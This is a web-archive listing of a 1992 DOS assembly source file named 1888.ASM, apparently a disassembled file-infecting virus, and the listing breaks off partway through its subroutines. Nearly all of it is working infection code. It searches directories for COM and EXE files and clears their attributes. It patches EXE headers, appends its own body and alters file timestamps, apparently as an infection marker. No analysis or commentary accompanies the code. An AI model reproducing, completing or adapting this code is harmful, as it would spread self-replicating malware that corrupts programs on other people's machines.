home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 1888.ASM < prev    next >
Assembly Source File  |  1992-10-07  |  49KB  |  1,924 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    1888                         ██
  7. ;██                                         ██
  8. ;██      Created:   28-Jul-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. d_0040_001C_e    equ    1Ch
  14. d_0040_004A_e    equ    4Ah
  15. d_8B38_0003_e    equ    3            ;*
  16. data_0012_e    equ    12h
  17. data_0016_e    equ    16h
  18. data_00A3_e    equ    0A3h
  19. data_00A7_e    equ    0A7h
  20. data_00A9_e    equ    0A9h
  21. data_00AB_e    equ    0ABh
  22. data_00AF_e    equ    0AFh
  23. data_00B3_e    equ    0B3h
  24. data_00B5_e    equ    0B5h
  25. d_9E01_0000_e    equ    0            ;*
  26. d_9E01_0002_e    equ    2            ;*
  27. d_9E01_0004_e    equ    4            ;*
  28. d_9E01_0008_e    equ    8            ;*
  29. d_9E01_0014_e    equ    14h            ;*
  30. d_9E01_0016_e    equ    16h            ;*
  31.  
  32. seg_a        segment    byte public
  33.         assume    cs:seg_a, ds:seg_a
  34.  
  35.  
  36.         org    100h
  37.  
  38. 1888        proc    far
  39.  
  40. start:
  41.         jmp    loc_0767
  42. data_0103    db    20h
  43. data_0104    dw    86C0h
  44. data_0106    dw    18FCh
  45. data_0108    dw    762h
  46. data_010A    dw    0
  47. data_010C    db    '1888.COM', 0
  48.         db     00h, 00h, 00h,0A6h
  49. data_0119    dw    25h
  50. data_011B    db    1
  51. data_011C    dw    760h
  52. data_011E    db    0
  53. data_011F    db    0
  54. data_0120    dw    762h
  55. data_0122    dw    760h
  56. data_0124    dw    0FFFEh
  57. data_0126    dw    5369h            ; Data table (indexed access)
  58. data_0128    dw    5369h
  59. data_012A    dw    4C97h
  60. data_012C    dd    9E010000h
  61. data_0130    dw    7C8h
  62. data_0132    db    8
  63. data_0133    db    10h
  64. data_0134    db    0
  65. data_0135    db    10h
  66.         db    0, 0, 0, 0
  67. data_013A    db    '\DANGER\1888'
  68.         db    20 dup (0)
  69. data_015A    db    'C:\', 0
  70.         db    '*', 0
  71.         db    'NETWARE', 0
  72.         db    'LMS', 0
  73.         db    'MAUS', 0
  74.         db    'MDB', 0
  75.         db    'DOS', 0
  76.         db    'BASE', 0
  77.         db    'L', 0
  78. data_0180    dw    160h
  79. data_0182    db    0
  80. data_0183    db    1
  81.         db     14h, 17h, 6Eh, 00h, 01h,0A9h
  82.         db     00h, 01h,0BFh
  83.         db    38h
  84. data_018E    db    2Ah
  85.         db     2Eh, 65h, 78h, 65h, 00h
  86. data_0194    db    2Ah
  87.         db     2Eh, 63h, 6Fh, 6Dh, 00h
  88. data_019A    db    0
  89. data_019B    db    0
  90. data_019C    db    0
  91. data_019D    db    4
  92.         db    3Fh
  93.         db    7 dup (3Fh)
  94.         db     43h, 4Fh, 4Dh, 23h, 04h, 00h
  95.         db    0F3h, 31h, 0Dh, 4Dh, 18h, 68h
  96.         db     20h,0C0h, 86h,0FCh, 18h, 62h
  97.         db     07h, 00h, 00h
  98.         db    '1888.COM'
  99.         db     00h, 00h, 00h, 00h,0A6h,0EAh
  100.         db    0AAh, 03h, 00h,0CCh,0AAh, 03h
  101.         db     60h, 07h, 00h, 40h, 05h, 00h
  102.         db     60h, 07h, 00h, 01h,0C8h, 01h
  103.         db     19h, 01h, 00h, 00h, 69h, 53h
  104.         db     69h, 53h, 61h, 06h, 9Dh, 04h
  105.         db     16h, 32h, 21h, 00h, 7Bh, 1Ah
  106.         db     12h, 32h,0ADh, 04h, 69h, 53h
  107.         db     12h, 32h,0DEh, 07h
  108.  
  109. 1888        endp
  110.  
  111. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  112. ;                   SUBROUTINE
  113. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  114.  
  115. sub_01F7    proc    near
  116.         cmp    data_011C,0
  117.         jne    loc_0207        ; Jump if not equal
  118.         mov    ax,760h
  119.         mov    data_011C,ax
  120.         mov    data_0120,ax
  121. loc_0207:
  122.         mov    al,data_011E
  123.         mov    data_011F,al
  124.         mov    ax,data_0120
  125.         mov    data_0122,ax
  126.         inc    data_0119
  127.         mov    data_019C,0
  128.         mov    data_019A,0
  129.         mov    data_019B,0
  130.         retn
  131. sub_01F7    endp
  132.  
  133.  
  134. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  135. ;                   SUBROUTINE
  136. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  137.  
  138. sub_0227    proc    near
  139.         lea    dx,data_0183        ; Load effective addr
  140.         xor    al,al            ; Zero register
  141.         mov    ah,3Dh            ; '='
  142.         int    21h            ; DOS Services  ah=function 3Dh
  143.                         ;  open file, al=mode,name@ds:dx
  144.         jc    loc_ret_0239        ; Jump if carry Set
  145.         mov    bx,ax
  146.         mov    ah,3Eh            ; '>'
  147.         int    21h            ; DOS Services  ah=function 3Eh
  148.                         ;  close file, bx=file handle
  149.  
  150. loc_ret_0239:
  151.         retn
  152. sub_0227    endp
  153.  
  154.  
  155. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  156. ;                   SUBROUTINE
  157. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  158.  
  159. sub_023A    proc    near
  160.         mov    ah,2Ah            ; '*'
  161.         int    21h            ; DOS Services  ah=function 2Ah
  162.                         ;  get date, cx=year, dh=month
  163.                         ;   dl=day, al=day-of-week 0=SUN
  164.         mov    ah,dh
  165.         cmp    cx,data_0130
  166.         je    loc_0249        ; Jump if equal
  167.         add    ah,0Ch
  168. loc_0249:
  169.         sub    ah,data_0132
  170.         mov    data_011B,ah
  171.         mov    data_0134,al
  172.         mov    data_0133,dl
  173.         mov    data_0132,dh
  174.         mov    data_0130,cx
  175.         mov    ah,2Ch            ; ','
  176.         int    21h            ; DOS Services  ah=function 2Ch
  177.                         ;  get time, cx=hrs/min, dx=sec
  178.         mov    data_0135,ch
  179.         retn
  180. sub_023A    endp
  181.  
  182.  
  183. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  184. ;                   SUBROUTINE
  185. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  186.  
  187. sub_0269    proc    near
  188.         mov    ax,es
  189.         dec    ax
  190.         push    es
  191.         mov    es,ax
  192.         mov    ax,es:d_8B38_0003_e
  193.         mov    data_012A,ax
  194.         pop    es
  195.         mov    bx,ax
  196.         sub    bx,200h
  197.         mov    ah,4Ah            ; 'J'
  198.         int    21h            ; DOS Services  ah=function 4Ah
  199.                         ;  change memory allocation
  200.                         ;   bx=bytes/16, es=mem segment
  201.         mov    bx,150h
  202.         mov    ah,48h            ; 'H'
  203.         int    21h            ; DOS Services  ah=function 48h
  204.                         ;  allocate memory, bx=bytes/16
  205.         mov    word ptr data_012C+2,ax
  206.         retn
  207. sub_0269    endp
  208.  
  209.  
  210. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  211. ;                   SUBROUTINE
  212. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  213.  
  214. sub_028C    proc    near
  215.         push    es
  216.         mov    ax,word ptr data_012C+2
  217.         mov    es,ax
  218.         mov    ah,49h            ; 'I'
  219.         int    21h            ; DOS Services  ah=function 49h
  220.                         ;  release memory block, es=seg
  221.         mov    ax,data_0128
  222.         mov    es,ax
  223.         mov    bx,data_012A
  224.         mov    ah,4Ah            ; 'J'
  225.         int    21h            ; DOS Services  ah=function 4Ah
  226.                         ;  change memory allocation
  227.                         ;   bx=bytes/16, es=mem segment
  228.         pop    es
  229.         retn
  230. sub_028C    endp
  231.  
  232.  
  233. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  234. ;                   SUBROUTINE
  235. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  236.  
  237. sub_02A5    proc    near
  238.         push    ds
  239.         mov    ah,1Bh
  240.         int    21h            ; DOS Services  ah=function 1Bh
  241.                         ;  get disk info, default drive
  242.                         ;   al=sectors per cluster
  243.                         ;   ds:bx=ptr to media ID byte
  244.                         ;   cx=sector size, dx=clusters
  245.         cmp    byte ptr [bx],0F8h
  246.         pop    ds
  247.         retn
  248. sub_02A5    endp
  249.  
  250.  
  251. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  252. ;                   SUBROUTINE
  253. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  254.  
  255. sub_02AF    proc    near
  256.         lea    si,data_019D        ; Load effective addr
  257.         mov    di,si
  258.         xor    dl,dl            ; Zero register
  259.         mov    ah,47h            ; 'G'
  260.         int    21h            ; DOS Services  ah=function 47h
  261.                         ;  get present dir,drive dl,1=a:
  262.                         ;   ds:si=ASCIIZ directory name
  263.         mov    cx,30h
  264.         mov    al,0
  265.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  266.         mov    cx,di
  267.         sub    cx,si
  268.         lea    di,data_013A        ; ('\DANGER\1888') Load effective addr
  269.         mov    al,5Ch            ; '\'
  270.         stosb                ; Store al to es:[di]
  271.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  272.         retn
  273. sub_02AF    endp
  274.  
  275.  
  276. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  277. ;                   SUBROUTINE
  278. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  279.  
  280. sub_02D0    proc    near
  281.         mov    data_0182,0
  282.         lea    bx,cs:[160h]        ; Load effective addr
  283.         add    bx,20h
  284.         mov    data_0180,bx
  285.         sub    bx,20h
  286.         lea    dx,data_015A+4        ; ('*') Load effective addr
  287.         mov    cx,33h
  288.         mov    ah,4Eh            ; 'N'
  289.         int    21h            ; DOS Services  ah=function 4Eh
  290.                         ;  find 1st filenam match @ds:dx
  291.         jc    loc_031F        ; Jump if carry Set
  292. loc_02F0:
  293.         lea    di,data_019D        ; Load effective addr
  294.         add    di,1Eh
  295.         cmp    byte ptr [di],2Eh    ; '.'
  296.         je    loc_0319        ; Jump if equal
  297.         mov    si,di
  298.         mov    cx,20h
  299.         mov    al,0
  300.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  301.         mov    cx,di
  302.         sub    cx,si
  303.         mov    di,bx
  304.         add    bx,cx
  305.         cmp    bx,data_0180
  306.         ja    loc_031F        ; Jump if above
  307.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  308.         inc    data_0182
  309. loc_0319:
  310.         mov    ah,4Fh            ; 'O'
  311.         int    21h            ; DOS Services  ah=function 4Fh
  312.                         ;  find next filename match
  313.         jnc    loc_02F0        ; Jump if carry=0
  314. loc_031F:
  315.         lea    bx,cs:[160h]        ; Load effective addr
  316.         mov    data_0180,bx
  317.         retn
  318. sub_02D0    endp
  319.  
  320.  
  321. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  322. ;                   SUBROUTINE
  323. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  324.  
  325. sub_0328    proc    near
  326.         cmp    data_0182,0
  327.         je    loc_ret_034C        ; Jump if equal
  328.         lea    dx,data_013A        ; ('\DANGER\1888') Load effective addr
  329.         mov    ah,3Bh            ; ';'
  330.         int    21h            ; DOS Services  ah=function 3Bh
  331.                         ;  set current dir, path @ ds:dx
  332.         mov    dx,data_0180
  333.         mov    di,dx
  334.         mov    ah,3Bh            ; ';'
  335.         int    21h            ; DOS Services  ah=function 3Bh
  336.                         ;  set current dir, path @ ds:dx
  337.         mov    al,0
  338.         mov    cx,20h
  339.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  340.         mov    data_0180,di
  341.  
  342. loc_ret_034C:
  343.         retn
  344. sub_0328    endp
  345.  
  346.  
  347. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  348. ;                   SUBROUTINE
  349. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  350.  
  351. sub_034D    proc    near
  352.         mov    ax,data_0104
  353.         and    al,1Fh
  354.         cmp    al,1Eh
  355.         retn
  356. sub_034D    endp
  357.  
  358.  
  359. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  360. ;                   SUBROUTINE
  361. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  362.  
  363. sub_0355    proc    near
  364.         lea    dx,data_0194        ; Load effective addr
  365.         cmp    data_011E,0
  366.         je    loc_0364        ; Jump if equal
  367.         lea    dx,data_018E        ; Load effective addr
  368. loc_0364:
  369.         mov    cx,23h
  370.         mov    ah,4Eh            ; 'N'
  371.         int    21h            ; DOS Services  ah=function 4Eh
  372.                         ;  find 1st filenam match @ds:dx
  373.         retn
  374. sub_0355    endp
  375.  
  376.  
  377. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  378. ;                   SUBROUTINE
  379. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  380.  
  381. sub_036C    proc    near
  382.         lea    si,data_019D        ; Load effective addr
  383.         add    si,15h
  384.         lea    di,data_0103        ; Load effective addr
  385.         mov    cx,16h
  386.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  387.         retn
  388. sub_036C    endp
  389.  
  390.  
  391. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  392. ;                   SUBROUTINE
  393. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  394.  
  395. sub_037D    proc    near
  396.         pushf                ; Push flags
  397.         mov    cx,data_0104
  398.         or    cl,1Fh
  399.         and    cl,0FEh
  400.         mov    dx,data_0106
  401.         mov    ax,5701h
  402.         int    21h            ; DOS Services  ah=function 57h
  403.                         ;  set file date+time, bx=handle
  404.                         ;   cx=time, dx=time
  405.         mov    ah,3Eh            ; '>'
  406.         int    21h            ; DOS Services  ah=function 3Eh
  407.                         ;  close file, bx=file handle
  408.         lea    dx,data_010C        ; ('1888.COM') Load effective addr
  409.         xor    ch,ch            ; Zero register
  410.         mov    cl,data_0103
  411.         mov    ax,4301h
  412.         int    21h            ; DOS Services  ah=function 43h
  413.                         ;  set attrb cx, filename @ds:dx
  414.         popf                ; Pop flags
  415.         retn
  416. sub_037D    endp
  417.  
  418.  
  419. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  420. ;                   SUBROUTINE
  421. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  422.  
  423. sub_03A6    proc    near
  424.         lea    dx,data_010C        ; ('1888.COM') Load effective addr
  425.         xor    cx,cx            ; Zero register
  426.         mov    ax,4301h
  427.         int    21h            ; DOS Services  ah=function 43h
  428.                         ;  set attrb cx, filename @ds:dx
  429.         jc    loc_ret_03BA        ; Jump if carry Set
  430.         mov    ax,3D02h
  431.         int    21h            ; DOS Services  ah=function 3Dh
  432.                         ;  open file, al=mode,name@ds:dx
  433.         mov    bx,ax
  434.  
  435. loc_ret_03BA:
  436.         retn
  437. sub_03A6    endp
  438.  
  439.  
  440. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  441. ;                   SUBROUTINE
  442. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  443.  
  444. sub_03BB    proc    near
  445.         push    ds
  446.         mov    ax,word ptr data_012C+2
  447.         mov    ds,ax
  448.         mov    cx,100h
  449.         xor    dx,dx            ; Zero register
  450.         mov    ah,3Fh            ; '?'
  451.         int    21h            ; DOS Services  ah=function 3Fh
  452.                         ;  read file, bx=file handle
  453.                         ;   cx=bytes to ds:dx buffer
  454.         cmp    word ptr ds:d_9E01_0000_e,5A4Dh
  455.         nop                ;*ASM fixup - sign extn byte
  456.         je    loc_03D6        ; Jump if equal
  457.         stc                ; Set carry flag
  458.         jmp    loc_0455
  459. loc_03D6:
  460.         call    sub_0457
  461.         push    ax
  462.         mov    ax,di
  463.         and    ax,0Fh
  464.         mov    cx,10h
  465.         xor    dx,dx            ; Zero register
  466.         sub    cx,ax
  467.         mov    ah,40h            ; '@'
  468.         int    21h            ; DOS Services  ah=function 40h
  469.                         ;  write file  bx=file handle
  470.                         ;   cx=bytes from ds:dx buffer
  471.         jnc    loc_03EF        ; Jump if carry=0
  472.         jmp    short loc_0455
  473.         db    90h
  474. loc_03EF:
  475.         mov    si,ax
  476.         mov    cx,100h
  477.         mov    ah,40h            ; '@'
  478.         int    21h            ; DOS Services  ah=function 40h
  479.                         ;  write file  bx=file handle
  480.                         ;   cx=bytes from ds:dx buffer
  481.         jc    loc_0455        ; Jump if carry Set
  482.         pop    dx
  483.         mov    ax,di
  484.         add    ax,si
  485.         add    ax,100h
  486.         cmp    ax,200h
  487.         jb    loc_040B        ; Jump if below
  488.         and    ax,1FFh
  489.         inc    dx
  490. loc_040B:
  491.         mov    cl,4
  492.         shr    ax,cl            ; Shift w/zeros fill
  493.         dec    dx
  494.         mov    cl,5
  495.         shl    dx,cl            ; Shift w/zeros fill
  496.         sub    dx,ds:d_9E01_0008_e
  497.         add    ax,dx
  498.         sub    ax,10h
  499.         mov    ds:d_9E01_0016_e,ax
  500.         mov    word ptr ds:d_9E01_0014_e,100h
  501.         push    ds
  502.         mov    ax,cs
  503.         mov    ds,ax
  504.         mov    cx,data_011C
  505.         mov    dx,100h
  506.         mov    ah,40h            ; '@'
  507.         int    21h            ; DOS Services  ah=function 40h
  508.                         ;  write file  bx=file handle
  509.                         ;   cx=bytes from ds:dx buffer
  510.         pop    ds
  511.         jc    loc_0455        ; Jump if carry Set
  512.         call    sub_0457
  513.         mov    ds:d_9E01_0002_e,di
  514.         mov    ds:d_9E01_0004_e,ax
  515.         mov    ax,4200h
  516.         xor    dx,dx            ; Zero register
  517.         xor    cx,cx            ; Zero register
  518.         int    21h            ; DOS Services  ah=function 42h
  519.                         ;  move file ptr, bx=file handle
  520.                         ;   al=method, cx,dx=offset
  521.         jc    loc_0455        ; Jump if carry Set
  522.         mov    cx,100h
  523.         mov    ah,40h            ; '@'
  524.         int    21h            ; DOS Services  ah=function 40h
  525.                         ;  write file  bx=file handle
  526.                         ;   cx=bytes from ds:dx buffer
  527. loc_0455:
  528.         pop    ds
  529.         retn
  530. sub_03BB    endp
  531.  
  532.  
  533. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  534. ;                   SUBROUTINE
  535. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  536.  
  537. sub_0457    proc    near
  538.         mov    ax,4202h
  539.         xor    cx,cx            ; Zero register
  540.         xor    dx,dx            ; Zero register
  541.         int    21h            ; DOS Services  ah=function 42h
  542.                         ;  move file ptr, bx=file handle
  543.                         ;   al=method, cx,dx=offset
  544.         mov    di,ax
  545.         and    di,1FFh
  546.         mov    cl,9
  547.         shr    ax,cl            ; Shift w/zeros fill
  548.         mov    cl,7
  549.         shl    dx,cl            ; Shift w/zeros fill
  550.         add    ax,dx
  551.         inc    ax
  552.         retn
  553. sub_0457    endp
  554.  
  555.  
  556. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  557. ;                   SUBROUTINE
  558. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  559.  
  560. sub_0472    proc    near
  561.         mov    ax,data_0108
  562.         mov    data_0120,ax
  563.         mov    cx,data_011C
  564.         cmp    cx,ax
  565.         jb    loc_0488        ; Jump if below
  566.         mov    data_0120,cx
  567.         mov    cx,data_0108
  568. loc_0488:
  569.         push    ds
  570.         mov    ax,word ptr data_012C+2
  571.         mov    ds,ax
  572.         xor    dx,dx            ; Zero register
  573.         mov    ah,3Fh            ; '?'
  574.         int    21h            ; DOS Services  ah=function 3Fh
  575.                         ;  read file, bx=file handle
  576.                         ;   cx=bytes to ds:dx buffer
  577.         pop    ds
  578.         jc    loc_ret_04DD        ; Jump if carry Set
  579.         mov    ax,4200h
  580.         xor    dx,dx            ; Zero register
  581.         xor    cx,cx            ; Zero register
  582.         int    21h            ; DOS Services  ah=function 42h
  583.                         ;  move file ptr, bx=file handle
  584.                         ;   al=method, cx,dx=offset
  585.         jc    loc_ret_04DD        ; Jump if carry Set
  586.         mov    dx,100h
  587.         mov    cx,data_011C
  588.         mov    ah,40h            ; '@'
  589.         int    21h            ; DOS Services  ah=function 40h
  590.                         ;  write file  bx=file handle
  591.                         ;   cx=bytes from ds:dx buffer
  592.         int    3            ; Debug breakpoint
  593.         cmp    ax,cs:data_0108
  594.         ja    loc_04CC        ; Jump if above
  595.         mov    ax,4200h
  596.         mov    dx,data_0108
  597.         mov    data_0120,dx
  598.         xor    cx,cx            ; Zero register
  599.         int    21h            ; DOS Services  ah=function 42h
  600.                         ;  move file ptr, bx=file handle
  601.                         ;   al=method, cx,dx=offset
  602.         jc    loc_ret_04DD        ; Jump if carry Set
  603.         mov    cx,data_011C
  604.         jmp    short loc_04D0
  605. loc_04CC:
  606.         mov    cx,data_0108
  607. loc_04D0:
  608.         push    ds
  609.         mov    ax,word ptr data_012C+2
  610.         mov    ds,ax
  611.         xor    dx,dx            ; Zero register
  612.         mov    ah,40h            ; '@'
  613.         int    21h            ; DOS Services  ah=function 40h
  614.                         ;  write file  bx=file handle
  615.                         ;   cx=bytes from ds:dx buffer
  616.         pop    ds
  617.  
  618. loc_ret_04DD:
  619.         retn
  620. sub_0472    endp
  621.  
  622.  
  623. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
